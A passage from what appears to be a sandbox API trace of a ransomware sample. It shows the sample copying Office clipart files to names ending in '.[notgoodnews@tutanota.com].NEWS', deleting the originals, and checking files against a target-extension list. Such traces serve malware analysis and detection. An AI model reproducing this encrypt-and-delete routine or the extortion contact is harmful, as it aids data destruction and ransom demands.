(hFile=0x4dc) returned 1 [0180.825] CloseHandle (hObject=0x4dc) returned 1 [0180.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1 [0181.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.126] lstrlenW (lpString=".doc") returned 4 [0181.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.126] lstrlenW (lpString=".docx") returned 5 [0181.126] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0181.126] lstrlenW (lpString=".pdf") returned 4 [0181.126] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.126] lstrlenW (lpString=".xls") returned 4 [0181.126] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.126] lstrlenW (lpString=".xlsx") returned 5 [0181.126] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0181.126] lstrlenW (lpString=".ppt") returned 4 [0181.126] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.126] lstrlenW (lpString=".zip") returned 4 [0181.126] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.126] lstrlenW (lpString=".rar") returned 4 [0181.126] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.126] lstrlenW (lpString=".bz2") returned 4 [0181.126] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.126] lstrlenW (lpString=".7z") returned 3 [0181.126] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.126] lstrlenW (lpString=".dbf") returned 4 [0181.126] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.127] lstrlenW (lpString=".1cd") returned 4 [0181.127] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.127] lstrlenW (lpString=".jpg") returned 4 [0181.127] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.127] lstrlenW (lpString=".doc") returned 4 [0181.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.127] lstrlenW (lpString=".docx") returned 5 [0181.127] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0181.127] lstrlenW (lpString=".pdf") returned 4 [0181.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.127] lstrlenW (lpString=".xls") returned 4 [0181.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.127] lstrlenW (lpString=".xlsx") returned 5 [0181.127] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0181.127] lstrlenW (lpString=".ppt") returned 4 [0181.127] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.127] lstrlenW (lpString=".zip") returned 4 [0181.127] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.127] lstrlenW (lpString=".rar") returned 4 [0181.127] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.127] lstrlenW (lpString=".bz2") returned 4 [0181.127] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.128] lstrlenW (lpString=".7z") returned 3 [0181.128] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.128] lstrlenW (lpString=".dbf") returned 4 [0181.128] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.128] lstrlenW (lpString=".1cd") returned 4 [0181.128] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68 [0181.128] lstrlenW (lpString=".jpg") returned 4 [0181.128] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.128] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.128] lstrlenW (lpString="J0107148.WMF") returned 12 [0181.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0181.279] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=20136) returned 1 [0181.279] CloseHandle (hObject=0x560) returned 1 [0181.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220 [0181.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.020] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.020] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.022] GetLastError () returned 0x0 [0182.022] ReadFile (in: hFile=0x53c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x4ea8, lpOverlapped=0x0) returned 1 [0182.046] WriteFile (in: hFile=0x560, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4eb0, lpOverlapped=0x0) returned 1 [0182.049] ReadFile (in: hFile=0x53c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.049] WriteFile (in: hFile=0x560, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.049] SetEndOfFile (hFile=0x560) returned 1 [0182.049] CloseHandle (hObject=0x560) returned 1 [0182.050] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.050] SetEndOfFile (hFile=0x53c) returned 1 [0182.054] CloseHandle (hObject=0x53c) returned 1 [0182.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0182.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.058] lstrlenW (lpString=".doc") returned 4 [0182.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.058] lstrlenW (lpString=".docx") returned 5 [0182.058] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.058] lstrlenW (lpString=".pdf") returned 4 [0182.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.058] lstrlenW (lpString=".xls") returned 4 [0182.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.058] lstrlenW (lpString=".xlsx") returned 5 [0182.058] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.058] lstrlenW (lpString=".ppt") returned 4 [0182.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.059] lstrlenW (lpString=".zip") returned 4 [0182.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.059] lstrlenW (lpString=".rar") returned 4 [0182.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.059] lstrlenW (lpString=".bz2") returned 4 [0182.059] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.059] lstrlenW (lpString=".7z") returned 3 [0182.059] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.059] lstrlenW (lpString=".dbf") returned 4 [0182.059] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.059] lstrlenW (lpString=".1cd") returned 4 [0182.059] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.059] lstrlenW (lpString=".jpg") returned 4 [0182.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.059] lstrlenW (lpString=".doc") returned 4 [0182.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.059] lstrlenW (lpString=".docx") returned 5 [0182.060] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0182.060] lstrlenW (lpString=".pdf") returned 4 [0182.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.060] lstrlenW (lpString=".xls") returned 4 [0182.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.060] lstrlenW (lpString=".xlsx") returned 5 [0182.060] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0182.060] lstrlenW (lpString=".ppt") returned 4 [0182.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.060] lstrlenW (lpString=".zip") returned 4 [0182.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.060] lstrlenW (lpString=".rar") returned 4 [0182.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.060] lstrlenW (lpString=".bz2") returned 4 [0182.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.060] lstrlenW (lpString=".7z") returned 3 [0182.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.060] lstrlenW (lpString=".dbf") returned 4 [0182.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.060] lstrlenW (lpString=".1cd") returned 4 [0182.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0182.060] lstrlenW (lpString=".jpg") returned 4 [0182.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.061] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.061] lstrlenW (lpString="J0107266.WMF") returned 12 [0182.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.063] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=5868) returned 1 [0182.063] CloseHandle (hObject=0x53c) returned 1 [0182.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220 [0182.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.064] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.064] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.066] GetLastError () returned 0x0 [0182.066] ReadFile (in: hFile=0x53c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x16ec, lpOverlapped=0x0) returned 1 [0182.117] WriteFile (in: hFile=0x560, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x16f0, lpOverlapped=0x0) returned 1 [0182.120] ReadFile (in: hFile=0x53c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.120] WriteFile (in: hFile=0x560, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.120] SetEndOfFile (hFile=0x560) returned 1 [0182.121] CloseHandle (hObject=0x560) returned 1 [0182.121] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.121] SetEndOfFile (hFile=0x53c) returned 1 [0182.125] CloseHandle (hObject=0x53c) returned 1 [0182.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0182.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.127] lstrlenW (lpString=".doc") returned 4 [0182.127] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.128] lstrlenW (lpString=".docx") returned 5 [0182.128] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0182.128] lstrlenW (lpString=".pdf") returned 4 [0182.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.128] lstrlenW (lpString=".xls") returned 4 [0182.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.205] lstrlenW (lpString=".xlsx") returned 5 [0182.205] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0182.205] lstrlenW (lpString=".ppt") returned 4 [0182.205] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.205] lstrlenW (lpString=".zip") returned 4 [0182.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.205] lstrlenW (lpString=".rar") returned 4 [0182.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.205] lstrlenW (lpString=".bz2") returned 4 [0182.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.206] lstrlenW (lpString=".7z") returned 3 [0182.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.206] lstrlenW (lpString=".dbf") returned 4 [0182.206] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.206] lstrlenW (lpString=".1cd") returned 4 [0182.206] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.219] lstrlenW (lpString=".jpg") returned 4 [0182.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.219] lstrlenW (lpString=".doc") returned 4 [0182.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.219] lstrlenW (lpString=".docx") returned 5 [0182.219] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0182.219] lstrlenW (lpString=".pdf") returned 4 [0182.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.219] lstrlenW (lpString=".xls") returned 4 [0182.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.220] lstrlenW (lpString=".xlsx") returned 5 [0182.220] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0182.220] lstrlenW (lpString=".ppt") returned 4 [0182.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.220] lstrlenW (lpString=".zip") returned 4 [0182.220] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.221] lstrlenW (lpString=".rar") returned 4 [0182.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.221] lstrlenW (lpString=".bz2") returned 4 [0182.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.221] lstrlenW (lpString=".7z") returned 3 [0182.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.221] lstrlenW (lpString=".dbf") returned 4 [0182.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.221] lstrlenW (lpString=".1cd") returned 4 [0182.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0182.221] lstrlenW (lpString=".jpg") returned 4 [0182.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.221] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.221] lstrlenW (lpString="J0107288.WMF") returned 12 [0182.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.282] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=13436) returned 1 [0182.282] CloseHandle (hObject=0x558) returned 1 [0182.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220 [0182.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0182.447] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.447] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.448] GetLastError () returned 0x0 [0182.448] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x347c, lpOverlapped=0x0) returned 1 [0182.513] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x3480, lpOverlapped=0x0) returned 1 [0182.515] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.516] WriteFile (in: hFile=0x53c, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.516] SetEndOfFile (hFile=0x53c) returned 1 [0182.516] CloseHandle (hObject=0x53c) returned 1 [0182.516] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.516] SetEndOfFile (hFile=0x4f0) returned 1 [0182.521] CloseHandle (hObject=0x4f0) returned 1 [0182.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 